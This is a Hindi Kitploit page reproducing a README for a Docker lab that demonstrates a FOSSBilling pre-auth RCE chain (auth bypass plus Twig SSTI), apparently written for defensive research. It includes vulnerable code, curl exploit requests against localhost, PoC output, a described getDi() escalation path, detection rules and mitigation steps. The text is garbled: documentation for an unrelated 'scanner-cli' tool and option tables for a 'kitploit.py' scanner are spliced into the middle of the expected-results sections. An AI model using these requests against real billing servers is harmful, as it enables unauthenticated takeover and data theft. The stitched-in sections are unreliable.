Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-28496 — Docker लैब जो FOSSBilling pre-auth RCE श्रृंखला (CVE-2026-27604 auth bypass + CVE-2026-28496 Twig SSTI) को Python PoC और patched comparison target के साथ पुनरुत्पादित करती है। | Kitploit
उपकरण/GitHubGitHub/ivanesk315/cve-2026-28496
भेद्यता स्कैनरभेद्यता विश्लेषणशोषणसर्वरलेस सुरक्षावेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubivanesk315/cve-2026-28496

CVE-2026-28496

Docker लैब जो FOSSBilling pre-auth RCE श्रृंखला (CVE-2026-27604 auth bypass + CVE-2026-28496 Twig SSTI) को Python PoC और patched comparison target के साथ पुनरुत्पादित करती है।

17घं 3मि पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-27604 + CVE-2026-28496 — FOSSBilling प्री-ऑथ RCE चेन

कार्यकारी सारांश

इस रिपॉजिटरी में FOSSBilling प्री-ऑथ RCE चेन को पुनरुत्पादित और सत्यापित करने के लिए एक स्थानीय Docker लैब शामिल है, जो दो श्रृंखलाबद्ध कमजोरियों से बनी है:

CVEप्रकारCVSS v4GHSAविवरण
CVE-2026-27604ऑथ बायपास10.0GHSA-78x5-c8gw-8279API रोल चेकर में throw की कमी, एडमिन एंडपॉइंट्स को अनऑथेंटिकेटेड कॉलर्स के लिए उजागर करती है
CVE-2026-28496SSTI9.4GHSA-57mv-jm88-66jcstring_render API के माध्यम से अनसैंडबॉक्स्ड Twig टेम्पलेट रेंडरिंग

FOSSBilling एक मुफ्त और ओपन-सोर्स बिलिंग और क्लाइंट मैनेजमेंट प्लेटफॉर्म है। संस्करण 0.5.4 से 0.7.2 प्रभावित हैं। FOSSBilling 0.8.0 दोनों कमजोरियों को पैच करता है।

यह लैब दो FOSSBilling संस्करणों की तुलना करती है:

सेवाFOSSBilling संस्करणउद्देश्यURL
vuln0.7.2कमजोर लक्ष्यhttp://localhost:8081
patched0.8.0पैच किया गया लक्ष्यhttp://localhost:8082

इस स्थानीय लैब में सत्यापित चेन है:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}

root@kitploit:~
पैच किए गए लक्ष्य (0.8.0) द्वारा लौटाया गया:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

लैब को जानबूझकर स्थानीय Docker सेवाओं तक सीमित रखा गया है। यह बाहरी सिस्टमों को लक्षित नहीं करता और इसमें web shells, malware, persistence, external callbacks, database dumping, या destructive payloads शामिल नहीं हैं।

The Chain

Pre-Auth RCE के लिए दोनों vulnerabilities का एक साथ काम करना आवश्यक है:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘

root@kitploit:~
यह लैब सुरक्षित अंकगणितीय प्रमाण `{{ 7*7 }}` का उपयोग करके श्रृंखला को प्रदर्शित करती है। `getDi()` के माध्यम से पूर्ण RCE पथ प्रदर्शित नहीं किया गया है।

## सत्यापित तथ्य

| दावा | प्रमाण | सत्यापन कैसे करें |
| ----- | -------- | ------------- |
| CVE-2026-27604 FOSSBilling API भूमिका प्रबंधन में एक प्रमाणीकरण बायपास है। | GHSA-78x5-c8gw-8279: भूमिका जाँचकर्ता में अनुपस्थित throw /api/system/ को व्यवस्थापक के रूप में हल करने की अनुमति देता है। | PoC चलाएँ: अतिथि पथ अस्वीकृत है, सिस्टम पथ व्यवस्थापक परिणाम लौटाता है। |
| CVE-2026-28496 FOSSBilling Twig रेंडरिंग में एक SSTI है। | GHSA-57mv-jm88-66jc: string_render _tpl को बिना सैंडबॉक्स के Twig createTemplate() में पास करता है। | PoC चलाएँ: सर्वर {{ 7*7 }} का मूल्यांकन करता है और 49 लौटाता है। |
| दोनों भेद्यताएँ FOSSBilling 0.5.4 से 0.7.2 को प्रभावित करती हैं। | सार्वजनिक सलाहकार प्रभावित संस्करण सीमा की पहचान करते हैं। | भेद्य (0.7.2) और पैच किए गए (0.8.0) लक्ष्यों की तुलना करें। |
| FOSSBilling 0.8.0 दोनों भेद्यताओं को पैच करता है। | पैच किया गया लक्ष्य परीक्षण किए गए एंडपॉइंट के लिए "Unknown API call" लौटाता है। | पोर्ट 8082 के विरुद्ध PoC चलाएँ। |
| प्रमाणीकरण बायपास अनधिकृत व्यवस्थापक पहुँच देता है। | /api/guest/ string_render को अस्वीकार करता है; /api/system/ बिना प्रमाणीकरण के परिणाम लौटाता है। | PoC का चरण 1 चलाएँ। |
| SSTI हमलावर-नियंत्रित टेम्पलेट्स का मूल्यांकन करता है। | {{ 7*7 }} भेद्य पथ के माध्यम से 49 लौटाता है। | PoC का चरण 2 चलाएँ। |
| श्रृंखला Pre-Auth RCE को सक्षम बनाती है। | प्रमाणीकरण बायपास + SSTI = व्यवस्थापक संदर्भ के साथ अनधिकृत टेम्पलेट इंजेक्शन। | पूर्ण श्रृंखला PoC चलाएँ। |
| PoC केवल HTTP है। | poc.py केवल HTTP POST अनुरोध भेजता है। | poc/poc.py का निरीक्षण करें। |

## मूल कारण विश्लेषण

### CVE-2026-27604: प्रमाणीकरण बायपास

FOSSBilling API URL पथ से भूमिकाओं को हल करता है:```text
/api/:role/:module/:method

The role checker यह सत्यापित करता है कि अनुरोधित role की अनुमति है या नहीं। हालाँकि, vulnerable संस्करणों में, अस्वीकृत roles के लिए exception instantiated होता है लेकिन कभी thrown नहीं होता:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }

root@kitploit:~
क्योंकि अपवाद कभी नहीं फेंका जाता, सत्यापन चुपचाप पास हो जाता है। भूमिका `system` क्रॉन एडमिन पहचान में परिवर्तित हो जाती है, जिससे किसी भी अप्रमाणित कॉलर को पूर्ण एडमिन API पहुँच प्रदान हो जाती है।

सुरक्षा प्रभाव:```text
/api/guest/system/string_render  → denied (guest role, no admin access)
/api/admin/system/string_render  → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)

system role आंतरिक cron admin identity से मैप होता है, जिसके पास पूर्ण प्रशासनिक विशेषाधिकार होते हैं।

CVE-2026-28496: SSTI

string_render admin API method request data से _tpl प्राप्त करता है और इसे बिना sandbox enforcement के Twig template rendering pipeline में पास करता है:```php public function string_render($data) { if (!isset($data['_tpl'])) { error_log('_tpl parameter not passed'); return ''; }

root@kitploit:~
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;

$vars = $data;
unset($vars['_tpl'], $vars['_try']);

return $this->getService()->renderString($tpl, $try_render, $vars);

}

root@kitploit:~
`renderString()` मेथड `createTemplateFromString()` पर गिर जाता है:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}

महत्वपूर्ण समस्या: createTemplate($tpl) हमलावर-नियंत्रित स्ट्रिंग से एक Twig टेम्पलेट बनाता है और इसे बिना sandbox प्रतिबंधों के रेंडर करता है। टेम्पलेट के पास टेम्पलेट संदर्भ में मौजूद ऑब्जेक्ट्स तक पहुंच होती है, जिसमें guest API handler भी शामिल है जो getDi() को उजागर करता है।

संयुक्त श्रृंखला```text

Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication

Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"

Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution

root@kitploit:~
## स्रोत पैच सारांश

FOSSBilling 0.8.0 दोनों भेद्यताओं को संबोधित करता है:

**Auth Bypass फिक्स (CVE-2026-27604):**
रोल चेकर अब अस्वीकृत रोल्स के लिए उचित रूप से अपवाद फेंकता है।

**SSTI फिक्स (CVE-2026-28496):**
टेम्पलेट रेंडरिंग को एक सैंडबॉक्स्ड रेंडरर के माध्यम से रूट किया जाता है:```php
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);

The sandbox policy blocks method and property access by default:```php $methods = []; $properties = [];

root@kitploit:~
इस लैब में परीक्षण किए गए सार्वजनिक API पथ के लिए, FOSSBilling 0.8.0 परीक्षण किए गए एंडपॉइंट को बिल्कुल भी उजागर नहीं करता है:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

एक स्रोत-स्तरीय रिग्रेशन जाँच गहरे सुधार की पुष्टि करती है:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy

root@kitploit:~
## लैब आर्किटेक्चर```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore
सेवाघटकसंस्करण / भूमिका
vulnFOSSBilling0.7.2 vulnerable target
patchedFOSSBilling0.8.0 patched target
vuln-dbMariaDBdatabase for vulnerable target
patched-dbMariaDBdatabase for patched target
installer-vulncurl sidecarauto-installs vulnerable target
installer-patchedcurl sidecarauto-installs patched target

डिफ़ॉल्ट रूप से उजागर सेवाएँ:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
The installer sidecars `docker compose up` के दौरान स्वचालित रूप से चलते हैं। वे दोनों FOSSBilling targets को स्थानीय disposable credentials के साथ initialize करते हैं और फिर exit कर जाते हैं।

## Requirements

* Docker Desktop या Docker Engine
* Docker Compose v2
* Python 3
* पहले Docker image pull के दौरान Internet access

किसी Python third-party package की आवश्यकता नहीं है। PoC केवल Python standard library modules का उपयोग करता है।

## Quick Start

साफ़ स्थिति से lab शुरू करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

सेवा स्थिति जाँचें:```bash docker compose ps -a

root@kitploit:~
अपेक्षित चल रही सेवाएँ:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Expected completed installer services (exit code 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)

root@kitploit:~
इंस्टॉलर लॉग जांचें:```bash
docker compose logs installer-vuln installer-patched

Run the chain validation against the vulnerable target:```bash python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
पैच किए गए लक्ष्य के विरुद्ध चेन सत्यापन चलाएँ:```bash
python3 poc/poc.py --url http://localhost:8082

PoC उपयोग```bash

python3 poc/poc.py --url <target_url>

root@kitploit:~
उदाहरण:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082

The PoC तीन चरणों में दोनों CVE को मान्य करता है:

चरण 1 — Auth Bypass (CVE-2026-27604): अनधिकृत admin एक्सेस को सिद्ध करने के लिए guest API पथ की तुलना system API पथ से करता है।```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)

root@kitploit:~
**चरण 2 — SSTI (CVE-2026-28496):**
बायपास किए गए एडमिन एंडपॉइंट के माध्यम से सर्वर-साइड टेम्पलेट मूल्यांकन की पुष्टि करता है।```text
[2] POST /api/system/system/string_render
    body={"_tpl":"{{ 7*7 }}"}
    → result="49" (template evaluated)

चरण 3 — श्रृंखला मूल्यांकन: संयुक्त श्रृंखला परिणाम का सारांश प्रस्तुत करता है।

PoC केवल HTTP-आधारित है। यह Docker, Docker Compose, शेल कमांड, या कंटेनर API को कॉल नहीं करता है।

अपेक्षित परिणाम

असुरक्षित लक्ष्य (FOSSBilling 0.7.2)```bash

python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
| `-s` | `--server` | Server URL (default: `http://localhost:8080`) |
| `-t` | `--token` | API token for authentication |
| `-o` | `--output` | Output file path |
| `-f` | `--format` | Output format: `json`, `yaml`, `table` |
| `-v` | `--verbose` | Enable verbose logging |
| `-q` | `--quiet` | Suppress non-error output |
| `-h` | `--help` | Show help message |

### उदाहरण

```bash
# सर्व स्कैन की सूची बनाएं
scanner-cli list

# नया स्कैन शुरू करें
scanner-cli scan --target https://example.com --profile full

# स्कैन परिणाम JSON प्रारूप में निर्यात करें
scanner-cli export --scan-id abc123 --format json --output results.json

# कस्टम सर्वर के विरुद्ध प्रमाणित करें
scanner-cli --server https://api.example.com --token $API_TOKEN list

कॉन्फ़िगरेशन

CLI निम्नलिखित स्थानों पर कॉन्फ़िगरेशन फ़ाइल की खोज करता है:

  1. ./.scanner.yml
  2. ~/.config/scanner/config.yml
  3. /etc/scanner/config.yml

कॉन्फ़िगरेशन फ़ाइल उदाहरण:

root@kitploit:~
server: https://api.example.com
token: your-api-token-here
output_format: json
verbose: false
timeout: 30

पर्यावरण चर

चरविवरण
SCANNER_SERVERसर्वर URL को ओवरराइड करें
SCANNER_TOKENAPI टोकन सेट करें
SCANNER_CONFIGकस्टम कॉन्फ़िगरेशन फ़ाइल पथ
SCANNER_LOG_LEVELलॉग स्तर सेट करें (debug, info, warn, error)

API संदर्भ

REST API http://localhost:8080/api/v1 पर उपलब्ध है।

प्रमाणीकरण

सभी API अनुरोधों के लिए Authorization हेडर में Bearer टोकन की आवश्यकता होती है:

root@kitploit:~
Authorization: Bearer <your-token>

एंडपॉइंट

GET /api/v1/scans

सभी स्कैन की सूची बनाएं।

प्रतिक्रिया:

root@kitploit:~
{
  "scans": [
    {
      "id": "abc123",
      "target": "https://example.com",
      "status": "completed",
      "created_at": "2024-01-15T10:30:00Z"
    }
  ],
  "total": 1
}

POST /api/v1/scans

नया स्कैन शुरू करें।

अनुरोध निकाय:

root@kitploit:~
{
  "target": "https://example.com",
  "profile": "full",
  "options": {
    "depth": 3,
    "timeout": 30
  }
}

प्रतिक्रिया:

root@kitploit:~
{
  "id": "def456",
  "status": "running",
  "created_at": "2024-01-15T11:00:00Z"
}

GET /api/v1/scans/{id}

विशिष्ट स्कैन का विवरण प्राप्त करें।

DELETE /api/v1/scans/{id}

स्कैन रद्द करें या हटाएं।

GET /api/v1/scans/{id}/results

स्कैन परिणाम प्राप्त करें।

प्रतिक्रिया:

root@kitploit:~
{
  "scan_id": "abc123",
  "findings": [
    {
      "id": "finding-001",
      "severity": "high",
      "title": "SQL Injection",
      "description": "Potential SQL injection vulnerability detected",
      "location": "https://example.com/login",
      "remediation": "Use parameterized queries"
    }
  ]
}
``````text
============================================================
  CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
  FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
  Scope:  authorized local lab target only
  Target: http://localhost:8081

============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================

  [1a] Guest role: POST /api/guest/system/string_render
       status=400
       error={'message': '...', 'code': ...}
       → Denied (expected — guest has no admin access)

  [1b] System role (bypass): POST /api/system/system/string_render
       status=200
       result=49
       → Admin method returned result WITHOUT authentication

  VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
           CVE-2026-27604 CONFIRMED

============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================

  [2] POST /api/system/system/string_render
      body={"_tpl": "{{ 7*7 }}"}
      status=200
      response={"result":"49","error":null}

  VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
           CVE-2026-28496 CONFIRMED

============================================================
STAGE 3: Chain Assessment
============================================================

  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  CONFIRMED
  CVE-2026-28496  SSTI         CVSS v4: 9.4   CONFIRMED

  CHAIN RESULT: Pre-Auth RCE path CONFIRMED

पैच किया गया लक्ष्य (FOSSBilling 0.8.0)```bash

python3 poc/poc.py --url http://localhost:8082

root@kitploit:~
| `--list` | List all available modules |
| `--module <name>` | Run a specific module |
| `--output <file>` | Save results to a file |
| `--verbose` | Enable verbose output |
| `--threads <n>` | Number of concurrent threads |
| `--timeout <sec>` | Request timeout in seconds |
| `--proxy <url>` | Use a proxy for requests |
| `--user-agent <string>` | Set a custom User-Agent |
| `--no-color` | Disable colored output |
| `--config <file>` | Load configuration from file |
| `--version` | Show version information |
| `--help` | Show help message |

### उदाहरण

```bash
# List all modules
python3 kitploit.py --list

# Run a specific module
python3 kitploit.py --module scanner --target example.com

# Save output to file
python3 kitploit.py --module scanner --target example.com --output results.txt

# Use a proxy
python3 kitploit.py --module scanner --target example.com --proxy http://127.0.0.1:8080

कॉन्फ़िगरेशन

The tool reads its configuration from config.yaml located in the root directory. Below is an example configuration:

root@kitploit:~
# General settings
general:
  threads: 10
  timeout: 30
  user_agent: "Mozilla/5.0"

# Proxy settings
proxy:
  enabled: false
  url: "http://127.0.0.1:8080"

# Output settings
output:
  format: "json"
  directory: "./results"

मॉड्यूल

The following modules are available:

  • scanner: Performs a basic port scan on the target.
  • fuzzer: Fuzzes endpoints for hidden parameters.
  • crawler: Crawls the target website for links.
  • reporter: Generates a report from previous scan results.

Each module can be invoked independently using the --module flag.```text CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT

CHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0

root@kitploit:~
## मैनुअल HTTP पुनरुत्पादन

### प्रमाणीकरण बायपास प्रमाण (CVE-2026-27604)

अतिथि पथ (अस्वीकार किया जाना चाहिए):```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

सिस्टम पथ (प्रमाणीकरण को बायपास करता है):```bash curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

root@kitploit:~
### SSTI प्रमाण (CVE-2026-28496)

भेद्य लक्ष्य से सिस्टम पथ प्रतिक्रिया:```json
{"result":"49","error":null}

पैच की गई तुलना```bash

curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

root@kitploit:~
अपेक्षित पैच किया गया प्रतिक्रिया:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

प्रभाव

यह श्रृंखला FOSSBilling के विरुद्ध अनधिकृत रिमोट कोड निष्पादन को सक्षम बनाती है, जो एक बिलिंग और क्लाइंट प्रबंधन प्लेटफ़ॉर्म है जो संग्रहीत कर सकता है:

  • ग्राहक रिकॉर्ड और व्यक्तिगत डेटा
  • बिलिंग डेटा और भुगतान कॉन्फ़िगरेशन
  • सर्वर क्रेडेंशियल और API टोकन
  • प्रशासक खाते और सत्र

प्रदर्शित लैब पेलोड हानिरहित है ({{ 7*7 }})। getDi() और DI कंटेनर के माध्यम से वास्तविक दुनिया की प्रभाव श्रृंखला में शामिल हैं:

  • PDO के माध्यम से SQL निष्पादन (क्रेडेंशियल निष्कर्षण, डेटा चोरी)
  • 40+ एप्लिकेशन सेवाओं तक पहुंच
  • एक्सटेंशन प्रबंधक पहुंच (कोड निष्पादन)
  • एप्लिकेशन स्थिति का संशोधन
  • फ़ाइल लेखन या कमांड निष्पादन पथों के साथ श्रृंखलाबद्ध होने पर पूर्ण सर्वर समझौता

DI कंटेनर तक पहुंचने के लिए एक एकल अनधिकृत HTTP POST पर्याप्त है। यह PoC उस पथ को प्रदर्शित नहीं करता है।

पहचान और निगरानी

संदिग्ध अनुरोध पैटर्न:```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)

root@kitploit:~
अनुरोध निकाय संकेतक:```text
_tpl, {{, }}, getDi, system, string_render

उच्च-सिग्नल डिटेक्शन नियम:```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output

root@kitploit:~
अनुशंसित निगरानी क्रियाएँ:

* `/api/system/` अनुरोधों के लिए एक्सेस लॉग की समीक्षा करें
* JSON बॉडी में `_tpl` वाले अनुरोधों की समीक्षा करें
* Twig सिंटैक्स (`{{`, `}}`, `getDi`) वाले अनुरोधों की समीक्षा करें
* बाहरी IP से `/api/system/` पर सफल प्रतिक्रियाओं पर अलर्ट करें
* यदि शोषण का संदेह हो तो व्यवस्थापक गतिविधि की समीक्षा करें
* संदिग्ध Twig सिंटैक्स के लिए टेम्पलेट, ईमेल टेम्पलेट, मास मेलर की समीक्षा करें

## शमन

FOSSBilling को संस्करण 0.8.0 या बाद के संस्करण में अपग्रेड करें।

अनुशंसित चरण:

* FOSSBilling को 0.8.0 या बाद के संस्करण में अपग्रेड करें
* रिवर्स प्रॉक्सी या WAF पर `/api/system/*` तक बाहरी पहुँच को अवरुद्ध करें
* API पहुँच को विश्वसनीय स्रोत IP तक सीमित करें
* सभी व्यवस्थापक और क्लाइंट API टोकन रोटेट करें
* सभी सक्रिय सत्रों को अमान्य करें
* `/api/system/` अनुरोधों के लिए एक्सेस लॉग की समीक्षा करें
* संदिग्ध Twig सिंटैक्स के लिए ईमेल टेम्पलेट, मास मेलर, और भुगतान एडाप्टर का ऑडिट करें
* यदि शोषण का संदेह हो तो सीक्रेट रोटेट करें
* अनधिकृत पहुँच के लिए ग्राहक, बिलिंग, और सर्वर रिकॉर्ड की समीक्षा करें

सुरक्षा इंजीनियरिंग सबक:

* प्राधिकरण जाँचों में हमेशा अपवाद फेंकें — बिना फेंके इंस्टैंशिएट करना एक मौन बायपास है
* विशेषाधिकार प्राप्त एप्लिकेशन संदर्भ में अविश्वसनीय टेम्पलेट स्ट्रिंग्स को रेंडर न करें
* सैंडबॉक्स्ड टेम्पलेट रेंडरिंग का उपयोग करें और डिफ़ॉल्ट रूप से मेथड/प्रॉपर्टी एक्सेस को अस्वीकार करें
* टेम्पलेट संदर्भों में DI कंटेनर या सर्विस लोकेटर को उजागर न करें
* API प्राधिकरण विफलताओं को स्पष्ट रखें और फेल क्लोज़्ड रखें

## उपयोगी कमांड```bash
# Container status
docker compose ps -a

# Installer logs
docker compose logs installer-vuln installer-patched

# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081

# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082

# Manual auth bypass proof
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt

सफ़ाई```bash

Stop containers

docker compose down --remove-orphans

Stop containers and remove volumes

docker compose down -v --remove-orphans

Remove evidence files

rm -rf evidence/

root@kitploit:~
## सुरक्षा सीमाएँ

यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।

PoC को उन सिस्टमों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट प्राधिकरण नहीं है। इस लैब में वास्तविक प्रोडक्शन क्रेडेंशियल, ग्राहक डेटा, या API कुंजियाँ उपयोग न करें।

इच्छित दायरा केवल इन्हीं तक सीमित है:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

लैब निम्नलिखित प्रदर्शित नहीं करता:

  • getDi() के माध्यम से रिमोट कमांड निष्पादन
  • PDO के माध्यम से क्रेडेंशियल निष्कर्षण
  • डेटाबेस डंपिंग
  • एक्सटेंशन इंस्टॉलेशन
  • वेब शेल अपलोड
  • पर्सिस्टेंस या लेटरल मूवमेंट
  • बाहरी कॉलबैक
  • गैर-लैब सिस्टम के विरुद्ध हमले

संदर्भ

  • CVE-2026-27604 — FOSSBilling Auth Bypass https://www.cve.org/CVERecord?id=CVE-2026-27604

  • CVE-2026-28496 — FOSSBilling SSTI https://www.cve.org/CVERecord?id=CVE-2026-28496

  • GHSA-78x5-c8gw-8279 — Auth Bypass Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279

  • GHSA-57mv-jm88-66jc — SSTI Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

  • NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604

  • NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496

  • VulnCheck — FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

  • FOSSBilling GitHub Repository https://github.com/FOSSBilling/FOSSBilling

  • FOSSBilling Docker Image https://hub.docker.com/r/fossbilling/fossbilling

  • Twig Documentation — Sandbox Extension https://twig.symfony.com/doc/3.x/sandbox.html

टूल डाउनलोड करें